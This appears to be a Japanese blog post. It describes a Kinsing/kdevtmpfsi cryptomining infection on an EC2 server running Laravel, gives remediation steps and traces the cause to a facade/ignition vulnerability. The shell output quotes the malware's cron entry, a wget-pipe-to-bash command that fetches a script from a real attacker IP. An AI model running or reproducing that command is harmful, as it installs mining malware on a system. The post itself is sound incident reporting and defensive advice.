kinsing(kdevtmpfsi)という厄介なマルウェアにかかった話

EC2が急にCPU100％のアラートを飛ばすようになった。nanoなのに1日2ドルとかトラフィックでかかっていてなんだこれ？ってなった。
調べてみるとkinsing(kdevtmpfsi)というマルウェアにかかっていて、仮想通貨のマイニングに勝手に使われた模様。
プロセスは下記の様な感じ。

**【注意】下記のシェルURLは絶対に叩かないでください！！**

```
[root@ip-xxx-xxx-xxx-xxx ~]# ps aux | grep nginx
nginx     2296  0.0  0.3 404256  1432 ?        S     2月14   0:10 php-fpm: pool www
nginx     2297  0.0  0.3 402228  1584 ?        S     2月14   0:09 php-fpm: pool www
nginx     2298  0.0  0.2 404268  1232 ?        S     2月14   0:10 php-fpm: pool www
nginx     2299  0.0  0.3 404252  1584 ?        S     2月14   0:10 php-fpm: pool www
nginx     2301  0.0  0.3 402232  1616 ?        S     2月14   0:10 php-fpm: pool www
root      2304  0.0  0.0 125972     0 ?        Ss    2月14   0:00 nginx: master process /usr/sbin/nginx
nginx     2306  0.0  0.0 126384   396 ?        S     2月14   0:02 nginx: worker process
nginx     2307  0.0  0.0 126384   160 ?        S     2月14   0:00 nginx: worker process
nginx     2762  0.0  0.2 402212  1396 ?        S     2月14   0:10 php-fpm: pool www
nginx     9152  0.0  0.2 404256  1416 ?        S    04:28   0:06 php-fpm: pool www
nginx    20413  0.0  0.7 718484  3412 ?        Sl   20:50   0:00 /tmp/kinsing
nginx    20564  197 56.3 788140 266128 ?       Ssl  20:51  76:19 /tmp/kdevtmpfsi
root     22545  0.0  0.1 119436   864 pts/0    S+   21:30   0:00 grep --color=auto nginx
[root@ip-xxx-xxx-xxx-xxx ~]# cd /var/spool/cron
[root@ip-xxx-xxx-xxx-xxx cron]# ll
合計 4
-rw------- 1 nginx nginx 74  2月 15 20:50 nginx
[root@ip-xxx-xxx-xxx-xxx cron]# cat nginx
* * * * * wget -q -O - http://195.3.146.118/pg.sh | bash > /dev/null 2>&1

[root@ip-xxx-xxx-xxx-xxx tmp]# pwd
/tmp
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a
合計 4
drwxrwxrwt 11 root  root  4096  2月 15 21:44 .
dr-xr-xr-x 19 root  root   288  6月  2  2020 ..
drwxrwxrwt  2 root  root     6  6月  1  2020 .ICE-unix
drwxr-xr-x  2 nginx nginx   18  2月 11 21:41 .ICEd-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .Test-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .X11-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .XIM-unix
drwxrwxrwt  2 root  root     6  6月  1  2020 .font-unix
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-chronyd.service-oOMI2M
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-nginx.service-YmMBKR
drwx------  3 root  root    17  2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-php-fpm.service-GQpeT7
[root@ip-xxx-xxx-xxx-xxx tmp]# ll -a /var/spool/cron/
合計 0
drwx------ 2 root root  6  2月 15 21:38 .
drwxr-xr-x 9 root root 97  5月 27  2020 ..
```

何かしらの脆弱性をついてnginxのユーザーで特定のプログラムを実行させるという手法。

# 対処方法
kinsingにかかったら、/tmpのkinsing,kdevtmpfsiを削除するのと、/var/spool/cron/nginx　のファイルを削除してください。
また、root権限かsudoで全体に検索かけてください。

```
[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kinsing”
[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kdevtmpfsi”
```

本件の問題は、Laravelフレームワークにおいてデバッグ出力時に利用しているcomposerのfacade/ignitionの脆弱性が問題です。
composer updateをして最新版にアップデートしてください。
facade/ignitionがバージョン2.0.6で問題が起き、2.5.13で問題が起きないことを確認しています。

また、.env　の　APP_DEBUG　がtrue　になってたら　false　に変更してください。
一応プロセスキルだけでも良いとは思いますが、念の為サーバーは再起動した方が良いと思います。

yumとcomposerは定期的にアップデートした方がよさそうです。